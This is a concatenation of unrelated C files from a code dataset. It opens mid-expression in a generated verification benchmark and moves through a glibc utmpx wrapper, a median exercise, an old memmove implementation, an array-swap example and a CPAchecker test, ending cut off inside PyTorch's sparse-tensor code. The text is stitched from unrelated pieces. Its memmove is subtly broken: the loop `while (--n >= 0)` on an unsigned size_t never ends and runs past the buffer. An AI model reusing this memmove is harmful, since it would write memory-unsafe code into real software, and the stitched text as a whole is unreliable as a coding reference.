(-1.0 * _x_x_31)) == -6.0) || (((x_23 + (-1.0 * _x_x_31)) == -10.0) || (((x_16 + (-1.0 * _x_x_31)) == -20.0) || (((x_13 + (-1.0 * _x_x_31)) == -1.0) || (((x_12 + (-1.0 * _x_x_31)) == -16.0) || (((x_10 + (-1.0 * _x_x_31)) == -5.0) || (((x_9 + (-1.0 * _x_x_31)) == -6.0) || (((x_7 + (-1.0 * _x_x_31)) == -12.0) || (((x_5 + (-1.0 * _x_x_31)) == -18.0) || (((x_4 + (-1.0 * _x_x_31)) == -2.0) || (((x_3 + (-1.0 * _x_x_31)) == -18.0) || (((x_0 + (-1.0 * _x_x_31)) == -14.0) || ((x_1 + (-1.0 * _x_x_31)) == -15.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_32)) <= -10.0) && (((x_37 + (-1.0 * _x_x_32)) <= -14.0) && (((x_36 + (-1.0 * _x_x_32)) <= -9.0) && (((x_35 + (-1.0 * _x_x_32)) <= -1.0) && (((x_33 + (-1.0 * _x_x_32)) <= -4.0) && (((x_32 + (-1.0 * _x_x_32)) <= -16.0) && (((x_31 + (-1.0 * _x_x_32)) <= -16.0) && (((x_30 + (-1.0 * _x_x_32)) <= -18.0) && (((x_29 + (-1.0 * _x_x_32)) <= -11.0) && (((x_26 + (-1.0 * _x_x_32)) <= -16.0) && (((x_24 + (-1.0 * _x_x_32)) <= -14.0) && (((x_22 + (-1.0 * _x_x_32)) <= -16.0) && (((x_14 + (-1.0 * _x_x_32)) <= -6.0) && (((x_12 + (-1.0 * _x_x_32)) <= -6.0) && (((x_11 + (-1.0 * _x_x_32)) <= -14.0) && (((x_10 + (-1.0 * _x_x_32)) <= -5.0) && (((x_5 + (-1.0 * _x_x_32)) <= -13.0) && (((x_3 + (-1.0 * _x_x_32)) <= -2.0) && (((x_0 + (-1.0 * _x_x_32)) <= -10.0) && ((x_2 + (-1.0 * _x_x_32)) <= -17.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_32)) == -10.0) || (((x_37 + (-1.0 * _x_x_32)) == -14.0) || (((x_36 + (-1.0 * _x_x_32)) == -9.0) || (((x_35 + (-1.0 * _x_x_32)) == -1.0) || (((x_33 + (-1.0 * _x_x_32)) == -4.0) || (((x_32 + (-1.0 * _x_x_32)) == -16.0) || (((x_31 + (-1.0 * _x_x_32)) == -16.0) || (((x_30 + (-1.0 * _x_x_32)) == -18.0) || (((x_29 + (-1.0 * _x_x_32)) == -11.0) || (((x_26 + (-1.0 * _x_x_32)) == -16.0) || (((x_24 + (-1.0 * _x_x_32)) == -14.0) || (((x_22 + (-1.0 * _x_x_32)) == -16.0) || (((x_14 + (-1.0 * _x_x_32)) == -6.0) || (((x_12 + (-1.0 * _x_x_32)) == -6.0) || (((x_11 + (-1.0 * _x_x_32)) == -14.0) || (((x_10 + (-1.0 * _x_x_32)) == -5.0) || (((x_5 + (-1.0 * _x_x_32)) == -13.0) || (((x_3 + (-1.0 * _x_x_32)) == -2.0) || (((x_0 + (-1.0 * _x_x_32)) == -10.0) || ((x_2 + (-1.0 * _x_x_32)) == -17.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_33)) <= -15.0) && (((x_34 + (-1.0 * _x_x_33)) <= -16.0) && (((x_33 + (-1.0 * _x_x_33)) <= -9.0) && (((x_31 + (-1.0 * _x_x_33)) <= -4.0) && (((x_30 + (-1.0 * _x_x_33)) <= -5.0) && (((x_29 + (-1.0 * _x_x_33)) <= -3.0) && (((x_26 + (-1.0 * _x_x_33)) <= -14.0) && (((x_20 + (-1.0 * _x_x_33)) <= -18.0) && (((x_19 + (-1.0 * _x_x_33)) <= -17.0) && (((x_17 + (-1.0 * _x_x_33)) <= -19.0) && (((x_15 + (-1.0 * _x_x_33)) <= -16.0) && (((x_14 + (-1.0 * _x_x_33)) <= -14.0) && (((x_13 + (-1.0 * _x_x_33)) <= -5.0) && (((x_11 + (-1.0 * _x_x_33)) <= -7.0) && (((x_7 + (-1.0 * _x_x_33)) <= -18.0) && (((x_6 + (-1.0 * _x_x_33)) <= -18.0) && (((x_5 + (-1.0 * _x_x_33)) <= -14.0) && (((x_4 + (-1.0 * _x_x_33)) <= -13.0) && (((x_2 + (-1.0 * _x_x_33)) <= -1.0) && ((x_3 + (-1.0 * _x_x_33)) <= -17.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_33)) == -15.0) || (((x_34 + (-1.0 * _x_x_33)) == -16.0) || (((x_33 + (-1.0 * _x_x_33)) == -9.0) || (((x_31 + (-1.0 * _x_x_33)) == -4.0) || (((x_30 + (-1.0 * _x_x_33)) == -5.0) || (((x_29 + (-1.0 * _x_x_33)) == -3.0) || (((x_26 + (-1.0 * _x_x_33)) == -14.0) || (((x_20 + (-1.0 * _x_x_33)) == -18.0) || (((x_19 + (-1.0 * _x_x_33)) == -17.0) || (((x_17 + (-1.0 * _x_x_33)) == -19.0) || (((x_15 + (-1.0 * _x_x_33)) == -16.0) || (((x_14 + (-1.0 * _x_x_33)) == -14.0) || (((x_13 + (-1.0 * _x_x_33)) == -5.0) || (((x_11 + (-1.0 * _x_x_33)) == -7.0) || (((x_7 + (-1.0 * _x_x_33)) == -18.0) || (((x_6 + (-1.0 * _x_x_33)) == -18.0) || (((x_5 + (-1.0 * _x_x_33)) == -14.0) || (((x_4 + (-1.0 * _x_x_33)) == -13.0) || (((x_2 + (-1.0 * _x_x_33)) == -1.0) || ((x_3 + (-1.0 * _x_x_33)) == -17.0)))))))))))))))))))))) && ((((x_36 + (-1.0 * _x_x_34)) <= -14.0) && (((x_34 + (-1.0 * _x_x_34)) <= -4.0) && (((x_33 + (-1.0 * _x_x_34)) <= -11.0) && (((x_31 + (-1.0 * _x_x_34)) <= -15.0) && (((x_30 + (-1.0 * _x_x_34)) <= -10.0) && (((x_28 + (-1.0 * _x_x_34)) <= -3.0) && (((x_27 + (-1.0 * _x_x_34)) <= -18.0) && (((x_26 + (-1.0 * _x_x_34)) <= -9.0) && (((x_24 + (-1.0 * _x_x_34)) <= -3.0) && (((x_20 + (-1.0 * _x_x_34)) <= -18.0) && (((x_19 + (-1.0 * _x_x_34)) <= -8.0) && (((x_18 + (-1.0 * _x_x_34)) <= -5.0) && (((x_16 + (-1.0 * _x_x_34)) <= -12.0) && (((x_15 + (-1.0 * _x_x_34)) <= -15.0) && (((x_12 + (-1.0 * _x_x_34)) <= -8.0) && (((x_10 + (-1.0 * _x_x_34)) <= -16.0) && (((x_9 + (-1.0 * _x_x_34)) <= -14.0) && (((x_6 + (-1.0 * _x_x_34)) <= -3.0) && (((x_2 + (-1.0 * _x_x_34)) <= -15.0) && ((x_3 + (-1.0 * _x_x_34)) <= -10.0)))))))))))))))))))) && (((x_36 + (-1.0 * _x_x_34)) == -14.0) || (((x_34 + (-1.0 * _x_x_34)) == -4.0) || (((x_33 + (-1.0 * _x_x_34)) == -11.0) || (((x_31 + (-1.0 * _x_x_34)) == -15.0) || (((x_30 + (-1.0 * _x_x_34)) == -10.0) || (((x_28 + (-1.0 * _x_x_34)) == -3.0) || (((x_27 + (-1.0 * _x_x_34)) == -18.0) || (((x_26 + (-1.0 * _x_x_34)) == -9.0) || (((x_24 + (-1.0 * _x_x_34)) == -3.0) || (((x_20 + (-1.0 * _x_x_34)) == -18.0) || (((x_19 + (-1.0 * _x_x_34)) == -8.0) || (((x_18 + (-1.0 * _x_x_34)) == -5.0) || (((x_16 + (-1.0 * _x_x_34)) == -12.0) || (((x_15 + (-1.0 * _x_x_34)) == -15.0) || (((x_12 + (-1.0 * _x_x_34)) == -8.0) || (((x_10 + (-1.0 * _x_x_34)) == -16.0) || (((x_9 + (-1.0 * _x_x_34)) == -14.0) || (((x_6 + (-1.0 * _x_x_34)) == -3.0) || (((x_2 + (-1.0 * _x_x_34)) == -15.0) || ((x_3 + (-1.0 * _x_x_34)) == -10.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_35)) <= -18.0) && (((x_37 + (-1.0 * _x_x_35)) <= -15.0) && (((x_34 + (-1.0 * _x_x_35)) <= -20.0) && (((x_33 + (-1.0 * _x_x_35)) <= -1.0) && (((x_31 + (-1.0 * _x_x_35)) <= -1.0) && (((x_30 + (-1.0 * _x_x_35)) <= -1.0) && (((x_29 + (-1.0 * _x_x_35)) <= -1.0) && (((x_28 + (-1.0 * _x_x_35)) <= -5.0) && (((x_27 + (-1.0 * _x_x_35)) <= -15.0) && (((x_25 + (-1.0 * _x_x_35)) <= -12.0) && (((x_20 + (-1.0 * _x_x_35)) <= -20.0) && (((x_16 + (-1.0 * _x_x_35)) <= -15.0) && (((x_14 + (-1.0 * _x_x_35)) <= -15.0) && (((x_13 + (-1.0 * _x_x_35)) <= -13.0) && (((x_11 + (-1.0 * _x_x_35)) <= -4.0) && (((x_9 + (-1.0 * _x_x_35)) <= -17.0) && (((x_8 + (-1.0 * _x_x_35)) <= -16.0) && (((x_7 + (-1.0 * _x_x_35)) <= -1.0) && (((x_0 + (-1.0 * _x_x_35)) <= -10.0) && ((x_1 + (-1.0 * _x_x_35)) <= -13.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_35)) == -18.0) || (((x_37 + (-1.0 * _x_x_35)) == -15.0) || (((x_34 + (-1.0 * _x_x_35)) == -20.0) || (((x_33 + (-1.0 * _x_x_35)) == -1.0) || (((x_31 + (-1.0 * _x_x_35)) == -1.0) || (((x_30 + (-1.0 * _x_x_35)) == -1.0) || (((x_29 + (-1.0 * _x_x_35)) == -1.0) || (((x_28 + (-1.0 * _x_x_35)) == -5.0) || (((x_27 + (-1.0 * _x_x_35)) == -15.0) || (((x_25 + (-1.0 * _x_x_35)) == -12.0) || (((x_20 + (-1.0 * _x_x_35)) == -20.0) || (((x_16 + (-1.0 * _x_x_35)) == -15.0) || (((x_14 + (-1.0 * _x_x_35)) == -15.0) || (((x_13 + (-1.0 * _x_x_35)) == -13.0) || (((x_11 + (-1.0 * _x_x_35)) == -4.0) || (((x_9 + (-1.0 * _x_x_35)) == -17.0) || (((x_8 + (-1.0 * _x_x_35)) == -16.0) || (((x_7 + (-1.0 * _x_x_35)) == -1.0) || (((x_0 + (-1.0 * _x_x_35)) == -10.0) || ((x_1 + (-1.0 * _x_x_35)) == -13.0)))))))))))))))))))))) && ((((x_37 + (-1.0 * _x_x_36)) <= -13.0) && (((x_36 + (-1.0 * _x_x_36)) <= -11.0) && (((x_33 + (-1.0 * _x_x_36)) <= -10.0) && (((x_32 + (-1.0 * _x_x_36)) <= -9.0) && (((x_30 + (-1.0 * _x_x_36)) <= -10.0) && (((x_29 + (-1.0 * _x_x_36)) <= -16.0) && (((x_25 + (-1.0 * _x_x_36)) <= -16.0) && (((x_24 + (-1.0 * _x_x_36)) <= -7.0) && (((x_21 + (-1.0 * _x_x_36)) <= -16.0) && (((x_20 + (-1.0 * _x_x_36)) <= -15.0) && (((x_15 + (-1.0 * _x_x_36)) <= -18.0) && (((x_11 + (-1.0 * _x_x_36)) <= -15.0) && (((x_10 + (-1.0 * _x_x_36)) <= -8.0) && (((x_7 + (-1.0 * _x_x_36)) <= -17.0) && (((x_6 + (-1.0 * _x_x_36)) <= -11.0) && (((x_5 + (-1.0 * _x_x_36)) <= -12.0) && (((x_4 + (-1.0 * _x_x_36)) <= -12.0) && (((x_3 + (-1.0 * _x_x_36)) <= -16.0) && (((x_0 + (-1.0 * _x_x_36)) <= -8.0) && ((x_1 + (-1.0 * _x_x_36)) <= -5.0)))))))))))))))))))) && (((x_37 + (-1.0 * _x_x_36)) == -13.0) || (((x_36 + (-1.0 * _x_x_36)) == -11.0) || (((x_33 + (-1.0 * _x_x_36)) == -10.0) || (((x_32 + (-1.0 * _x_x_36)) == -9.0) || (((x_30 + (-1.0 * _x_x_36)) == -10.0) || (((x_29 + (-1.0 * _x_x_36)) == -16.0) || (((x_25 + (-1.0 * _x_x_36)) == -16.0) || (((x_24 + (-1.0 * _x_x_36)) == -7.0) || (((x_21 + (-1.0 * _x_x_36)) == -16.0) || (((x_20 + (-1.0 * _x_x_36)) == -15.0) || (((x_15 + (-1.0 * _x_x_36)) == -18.0) || (((x_11 + (-1.0 * _x_x_36)) == -15.0) || (((x_10 + (-1.0 * _x_x_36)) == -8.0) || (((x_7 + (-1.0 * _x_x_36)) == -17.0) || (((x_6 + (-1.0 * _x_x_36)) == -11.0) || (((x_5 + (-1.0 * _x_x_36)) == -12.0) || (((x_4 + (-1.0 * _x_x_36)) == -12.0) || (((x_3 + (-1.0 * _x_x_36)) == -16.0) || (((x_0 + (-1.0 * _x_x_36)) == -8.0) || ((x_1 + (-1.0 * _x_x_36)) == -5.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_37)) <= -14.0) && (((x_38 + (-1.0 * _x_x_37)) <= -10.0) && (((x_37 + (-1.0 * _x_x_37)) <= -14.0) && (((x_35 + (-1.0 * _x_x_37)) <= -2.0) && (((x_33 + (-1.0 * _x_x_37)) <= -4.0) && (((x_31 + (-1.0 * _x_x_37)) <= -6.0) && (((x_28 + (-1.0 * _x_x_37)) <= -14.0) && (((x_26 + (-1.0 * _x_x_37)) <= -8.0) && (((x_25 + (-1.0 * _x_x_37)) <= -13.0) && (((x_20 + (-1.0 * _x_x_37)) <= -11.0) && (((x_19 + (-1.0 * _x_x_37)) <= -2.0) && (((x_18 + (-1.0 * _x_x_37)) <= -12.0) && (((x_14 + (-1.0 * _x_x_37)) <= -12.0) && (((x_12 + (-1.0 * _x_x_37)) <= -12.0) && (((x_11 + (-1.0 * _x_x_37)) <= -12.0) && (((x_9 + (-1.0 * _x_x_37)) <= -1.0) && (((x_6 + (-1.0 * _x_x_37)) <= -19.0) && (((x_5 + (-1.0 * _x_x_37)) <= -1.0) && (((x_1 + (-1.0 * _x_x_37)) <= -13.0) && ((x_4 + (-1.0 * _x_x_37)) <= -8.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_37)) == -14.0) || (((x_38 + (-1.0 * _x_x_37)) == -10.0) || (((x_37 + (-1.0 * _x_x_37)) == -14.0) || (((x_35 + (-1.0 * _x_x_37)) == -2.0) || (((x_33 + (-1.0 * _x_x_37)) == -4.0) || (((x_31 + (-1.0 * _x_x_37)) == -6.0) || (((x_28 + (-1.0 * _x_x_37)) == -14.0) || (((x_26 + (-1.0 * _x_x_37)) == -8.0) || (((x_25 + (-1.0 * _x_x_37)) == -13.0) || (((x_20 + (-1.0 * _x_x_37)) == -11.0) || (((x_19 + (-1.0 * _x_x_37)) == -2.0) || (((x_18 + (-1.0 * _x_x_37)) == -12.0) || (((x_14 + (-1.0 * _x_x_37)) == -12.0) || (((x_12 + (-1.0 * _x_x_37)) == -12.0) || (((x_11 + (-1.0 * _x_x_37)) == -12.0) || (((x_9 + (-1.0 * _x_x_37)) == -1.0) || (((x_6 + (-1.0 * _x_x_37)) == -19.0) || (((x_5 + (-1.0 * _x_x_37)) == -1.0) || (((x_1 + (-1.0 * _x_x_37)) == -13.0) || ((x_4 + (-1.0 * _x_x_37)) == -8.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_38)) <= -12.0) && (((x_38 + (-1.0 * _x_x_38)) <= -10.0) && (((x_35 + (-1.0 * _x_x_38)) <= -1.0) && (((x_34 + (-1.0 * _x_x_38)) <= -5.0) && (((x_30 + (-1.0 * _x_x_38)) <= -20.0) && (((x_29 + (-1.0 * _x_x_38)) <= -10.0) && (((x_28 + (-1.0 * _x_x_38)) <= -11.0) && (((x_26 + (-1.0 * _x_x_38)) <= -19.0) && (((x_23 + (-1.0 * _x_x_38)) <= -7.0) && (((x_21 + (-1.0 * _x_x_38)) <= -19.0) && (((x_20 + (-1.0 * _x_x_38)) <= -20.0) && (((x_19 + (-1.0 * _x_x_38)) <= -17.0) && (((x_15 + (-1.0 * _x_x_38)) <= -10.0) && (((x_14 + (-1.0 * _x_x_38)) <= -17.0) && (((x_11 + (-1.0 * _x_x_38)) <= -6.0) && (((x_10 + (-1.0 * _x_x_38)) <= -18.0) && (((x_7 + (-1.0 * _x_x_38)) <= -2.0) && (((x_6 + (-1.0 * _x_x_38)) <= -3.0) && (((x_1 + (-1.0 * _x_x_38)) <= -19.0) && ((x_2 + (-1.0 * _x_x_38)) <= -6.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_38)) == -12.0) || (((x_38 + (-1.0 * _x_x_38)) == -10.0) || (((x_35 + (-1.0 * _x_x_38)) == -1.0) || (((x_34 + (-1.0 * _x_x_38)) == -5.0) || (((x_30 + (-1.0 * _x_x_38)) == -20.0) || (((x_29 + (-1.0 * _x_x_38)) == -10.0) || (((x_28 + (-1.0 * _x_x_38)) == -11.0) || (((x_26 + (-1.0 * _x_x_38)) == -19.0) || (((x_23 + (-1.0 * _x_x_38)) == -7.0) || (((x_21 + (-1.0 * _x_x_38)) == -19.0) || (((x_20 + (-1.0 * _x_x_38)) == -20.0) || (((x_19 + (-1.0 * _x_x_38)) == -17.0) || (((x_15 + (-1.0 * _x_x_38)) == -10.0) || (((x_14 + (-1.0 * _x_x_38)) == -17.0) || (((x_11 + (-1.0 * _x_x_38)) == -6.0) || (((x_10 + (-1.0 * _x_x_38)) == -18.0) || (((x_7 + (-1.0 * _x_x_38)) == -2.0) || (((x_6 + (-1.0 * _x_x_38)) == -3.0) || (((x_1 + (-1.0 * _x_x_38)) == -19.0) || ((x_2 + (-1.0 * _x_x_38)) == -6.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_39)) <= -12.0) && (((x_32 + (-1.0 * _x_x_39)) <= -10.0) && (((x_31 + (-1.0 * _x_x_39)) <= -19.0) && (((x_29 + (-1.0 * _x_x_39)) <= -11.0) && (((x_28 + (-1.0 * _x_x_39)) <= -13.0) && (((x_25 + (-1.0 * _x_x_39)) <= -9.0) && (((x_24 + (-1.0 * _x_x_39)) <= -7.0) && (((x_23 + (-1.0 * _x_x_39)) <= -19.0) && (((x_21 + (-1.0 * _x_x_39)) <= -9.0) && (((x_19 + (-1.0 * _x_x_39)) <= -14.0) && (((x_17 + (-1.0 * _x_x_39)) <= -1.0) && (((x_16 + (-1.0 * _x_x_39)) <= -7.0) && (((x_15 + (-1.0 * _x_x_39)) <= -14.0) && (((x_13 + (-1.0 * _x_x_39)) <= -17.0) && (((x_11 + (-1.0 * _x_x_39)) <= -11.0) && (((x_5 + (-1.0 * _x_x_39)) <= -7.0) && (((x_3 + (-1.0 * _x_x_39)) <= -11.0) && (((x_2 + (-1.0 * _x_x_39)) <= -19.0) && (((x_0 + (-1.0 * _x_x_39)) <= -9.0) && ((x_1 + (-1.0 * _x_x_39)) <= -7.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_39)) == -12.0) || (((x_32 + (-1.0 * _x_x_39)) == -10.0) || (((x_31 + (-1.0 * _x_x_39)) == -19.0) || (((x_29 + (-1.0 * _x_x_39)) == -11.0) || (((x_28 + (-1.0 * _x_x_39)) == -13.0) || (((x_25 + (-1.0 * _x_x_39)) == -9.0) || (((x_24 + (-1.0 * _x_x_39)) == -7.0) || (((x_23 + (-1.0 * _x_x_39)) == -19.0) || (((x_21 + (-1.0 * _x_x_39)) == -9.0) || (((x_19 + (-1.0 * _x_x_39)) == -14.0) || (((x_17 + (-1.0 * _x_x_39)) == -1.0) || (((x_16 + (-1.0 * _x_x_39)) == -7.0) || (((x_15 + (-1.0 * _x_x_39)) == -14.0) || (((x_13 + (-1.0 * _x_x_39)) == -17.0) || (((x_11 + (-1.0 * _x_x_39)) == -11.0) || (((x_5 + (-1.0 * _x_x_39)) == -7.0) || (((x_3 + (-1.0 * _x_x_39)) == -11.0) || (((x_2 + (-1.0 * _x_x_39)) == -19.0) || (((x_0 + (-1.0 * _x_x_39)) == -9.0) || ((x_1 + (-1.0 * _x_x_39)) == -7.0)))))))))))))))))))))) && ((((_EL_U_4693 == (_x__EL_U_4693 || (-18.0 <= (_x_x_9 + (-1.0 * _x_x_19))))) && (_EL_U_4696 == (_x__EL_U_4696 || ( !((_x__EL_U_4693 || (-18.0 <= (_x_x_9 + (-1.0 * _x_x_19)))) || ( !((_x_x_7 + (-1.0 * _x_x_28)) <= -12.0))))))) && (_x__J4710 == (( !(_J4710 && _J4722)) && ((_J4710 && _J4722) || (((-18.0 <= (x_9 + (-1.0 * x_19))) || ( !((-18.0 <= (x_9 + (-1.0 * x_19))) || _EL_U_4693))) || _J4710))))) && (_x__J4722 == (( !(_J4710 && _J4722)) && ((_J4710 && _J4722) || ((( !(( !((x_7 + (-1.0 * x_28)) <= -12.0)) || ((-18.0 <= (x_9 + (-1.0 * x_19))) || _EL_U_4693))) || ( !(_EL_U_4696 || ( !(( !((x_7 + (-1.0 * x_28)) <= -12.0)) || ((-18.0 <= (x_9 + (-1.0 * x_19))) || _EL_U_4693)))))) || _J4722))))));
x_8 = _x_x_8;
_J4722 = _x__J4722;
_J4710 = _x__J4710;
_EL_U_4693 = _x__EL_U_4693;
x_19 = _x_x_19;
x_9 = _x_x_9;
x_28 = _x_x_28;
x_7 = _x_x_7;
x_27 = _x_x_27;
_EL_U_4696 = _x__EL_U_4696;
x_4 = _x_x_4;
x_1 = _x_x_1;
x_0 = _x_x_0;
x_2 = _x_x_2;
x_6 = _x_x_6;
x_3 = _x_x_3;
x_12 = _x_x_12;
x_5 = _x_x_5;
x_10 = _x_x_10;
x_18 = _x_x_18;
x_11 = _x_x_11;
x_22 = _x_x_22;
x_13 = _x_x_13;
x_14 = _x_x_14;
x_15 = _x_x_15;
x_36 = _x_x_36;
x_16 = _x_x_16;
x_20 = _x_x_20;
x_17 = _x_x_17;
x_33 = _x_x_33;
x_21 = _x_x_21;
x_26 = _x_x_26;
x_37 = _x_x_37;
x_23 = _x_x_23;
x_24 = _x_x_24;
x_30 = _x_x_30;
x_25 = _x_x_25;
x_34 = _x_x_34;
x_35 = _x_x_35;
x_29 = _x_x_29;
x_38 = _x_x_38;
x_31 = _x_x_31;
x_32 = _x_x_32;
x_39 = _x_x_39;
}
}
|
the_stack_data/148577082.c | /* Copyright (C) 1998-2015 Free Software Foundation, Inc.
This file is part of the GNU C Library.
Contributed by Mark Kettenis <[email protected]>, 1998.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <utmp.h>
#include <utmpx.h>
struct utmpx *
getutxid (const struct utmpx *id)
{
return (struct utmpx *) __getutid ((const struct utmp *) id);
}
|
the_stack_data/14200308.c | #include <stdio.h>
typedef long long ll;
int abs(int n) {
if (n < 0)return -n;
return n;
}
int main() {
#ifndef ONLINE_JUDGE
freopen("1.in", "r", stdin);
freopen("1.out", "w", stdout);
freopen("1.err", "w", stderr);
#endif
int n, i, j, t, k = 0, a[50];
double mid;
scanf("%d", &n);
for (i = 0;i < n;i++)
scanf("%d", a + i);
for (i = 1;i < n;i++)
for (j = 0;j < n - i;j++)
if (a[j] > a[j + 1]) {
t = a[j];
a[j] = a[j + 1];
a[j + 1] = t;
}
if (n % 2)
mid = a[n / 2];
else
mid = (a[(n - 1) / 2] + a[n / 2]) / 2.0;
j = (n - 1) / 2;
while (a[j] <= mid)
j++;
printf("%.1lf\n%d\n", mid, n - j);
#ifndef ONLINE_JUDGE
fclose(stdin);
fclose(stdout);
fclose(stderr);
#endif
return 0;
}
|
the_stack_data/206392924.c | /***********************************************************
Copyright 1991-1995 by Stichting Mathematisch Centrum, Amsterdam,
The Netherlands.
All Rights Reserved
Permission to use, copy, modify, and distribute this software and its
documentation for any purpose and without fee is hereby granted,
provided that the above copyright notice appear in all copies and that
both that copyright notice and this permission notice appear in
supporting documentation, and that the names of Stichting Mathematisch
Centrum or CWI or Corporation for National Research Initiatives or
CNRI not be used in advertising or publicity pertaining to
distribution of the software without specific, written prior
permission.
While CWI is the initial source for this software, a modified version
is made available by the Corporation for National Research Initiatives
(CNRI) at the Internet address ftp://ftp.python.org.
STICHTING MATHEMATISCH CENTRUM AND CNRI DISCLAIM ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH
CENTRUM OR CNRI BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL
DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
******************************************************************/
/* A perhaps slow but I hope correct implementation of memmove */
#include <string.h>
void *
memmove(void *d, const void *s, size_t n)
{
char *dst = (char*) d;
const char *src = (const char*) s;
char *realdst = dst;
if (n <= 0)
return dst;
if (src >= dst+n || dst >= src+n)
return memcpy(dst, src, n);
if (src > dst) {
while (--n >= 0)
*dst++ = *src++;
}
else if (src < dst) {
src += n;
dst += n;
while (--n >= 0)
*--dst = *--src;
}
return realdst;
}
|
the_stack_data/590573.c | #include <stdio.h>
#define ARRAY_SIZE 10
// Swap elements of two integer arrays - note the empty square
// brackets, which simply tell the compiler that this function
// will accept arrays rather than single types.
void swap (int array_1[], int array_2[], int no_items) {
int tmp;
int i;
for (i=0; i<no_items; i++) {
tmp = array_1[i];
array_1[i] = array_2[i];
array_2[i] = tmp;
}
}
int main () {
// Allocate two integer arrays of size 10.
int evens[ARRAY_SIZE];
int odds[ARRAY_SIZE];
int i;
/* Initialise the arrays with odd numbers and even numbers. */
for (i = 0; i < ARRAY_SIZE; i++) {
evens[i] = 2*i;
odds[i] = 2*i + 1;
}
/* swap the elements */
swap(evens, odds, ARRAY_SIZE);
/* print the result */
for (i = 0; i< ARRAY_SIZE; i++) {
printf("evens[%d] = %d, odds[%d] = %d\n", i, evens[i], i, odds[i]);
}
return 0;
}
|
the_stack_data/1106844.c | // This file is part of CPAchecker,
// a tool for configurable software verification:
// https://cpachecker.sosy-lab.org
//
// SPDX-FileCopyrightText: 2007-2020 Dirk Beyer <https://www.sosy-lab.org>
//
// SPDX-License-Identifier: Apache-2.0
int a,c,d;
int func(int b,int c) {
if (b == 1) a = 1;
else a = 0;
return 2;
}
main() {
a = 1;
c = 1;
d = func(a,c);
// this is used as hook to check if c == 0
//(as it should be when modified with the modifyingAutomaton)
somefunction();
if (c!=0) {
error();
}
}
|
the_stack_data/18466.c | #ifndef THCS_GENERIC_FILE
#define THCS_GENERIC_FILE "generic/THCSTensor.c"
#else
/******************************************************************************
* access methods
******************************************************************************/
int THCSTensor_(nDimension)(THCState *state, const THCSTensor *self)
{
return self->nDimensionI + self->nDimensionV;
}
int THCSTensor_(nDimensionI)(THCState *state, const THCSTensor *self)
{
return self->nDimensionI;
}
int THCSTensor_(nDimensionV)(THCState *state, const THCSTensor *self)
{
return self->nDimensionV;
}
int64_t THCSTensor_(size)(THCState *state, const THCSTensor *self, int dim)
{
THArgCheck((dim >= 0) && (dim < self->nDimensionI + self->nDimensionV),
1, "dimension %d out of range of %dD tensor",
dim+1, THCSTensor_(nDimension)(state, self));
return self->size[dim];
}
ptrdiff_t THCSTensor_(nnz)(THCState *state, const THCSTensor *self) {
return self->nnz;
}
THLongStorage *THCSTensor_(newSizeOf)(THCState *state, THCSTensor *self)
{
THLongStorage *size = THLongStorage_newWithSize(self->nDimensionI + self->nDimensionV);
THLongStorage_rawCopy(size, self->size);
return size;
}
/*** TODO: watch out for memory leaks ***/
THCIndexTensor *THCSTensor_(newIndices)(THCState *state, const THCSTensor *self) {
if (self->nnz == 0) {
// Narrows don't work on 0-length tensors
THCIndexTensor_(retain)(state, self->indices);
return self->indices;
}
return THCIndexTensor_(newNarrow)(state, self->indices, 1, 0, self->nnz);
}
THCTensor *THCSTensor_(newValues)(THCState *state, const THCSTensor *self) {
if (self->nnz == 0) {
THCTensor_(retain)(state, self->values);
return self->values;
}
return THCTensor_(newNarrow)(state, self->values, 0, 0, self->nnz);
}
/******************************************************************************
* creation methods
******************************************************************************/
/*** Helper methods ***/
static void THCSTensor_(rawInit)(THCState *state, THCSTensor *self)
{
self->size = NULL;
self->indices = THCIndexTensor_(new)(state);
self->values = THCTensor_(new)(state);
self->nDimensionI = 0;
self->nDimensionV = 0;
self->coalesced = 0;
self->nnz = 0;
// self->flag = TH_TENSOR_REFCOUNTED;
self->refcount = 1;
}
void THCSTensor_(rawResize)(THCState *state, THCSTensor *self, int nDimI, int nDimV, int64_t *size) {
// Only resize valid sizes into tensor.
self->size = THRealloc(self->size, sizeof(int64_t)*(nDimI + nDimV));
for (int64_t d = 0; d < nDimI + nDimV; d++) {
self->size[d] = size[d];
}
self->nDimensionI = nDimI;
self->nDimensionV = nDimV;
self->coalesced = 0;
}
// directly assign without cloning or retaining (internal method)
THCSTensor* THCSTensor_(_move)(THCState *state, THCSTensor *self, THCIndexTensor *indices, THCTensor *values) {
int empty = THCTensor_(nDimension)(state, values) == 0;
if (!empty) {
THArgCheck(THCIndexTensor_(nDimension)(state, indices) == 2, 2,
"indices must be nDim x nnz");
THArgCheck(THCIndexTensor_(size)(state, indices, 1) == THCTensor_(size)(state, values, 0), 2,
"indices and values must have same nnz");
THArgCheck(THCIndexTensor_(size)(state, indices, 0) == self->nDimensionI, 2,
"indices has incorrect first dimension, expected %d, got %d", self->nDimensionI, THCIndexTensor_(size)(state, indices, 0));
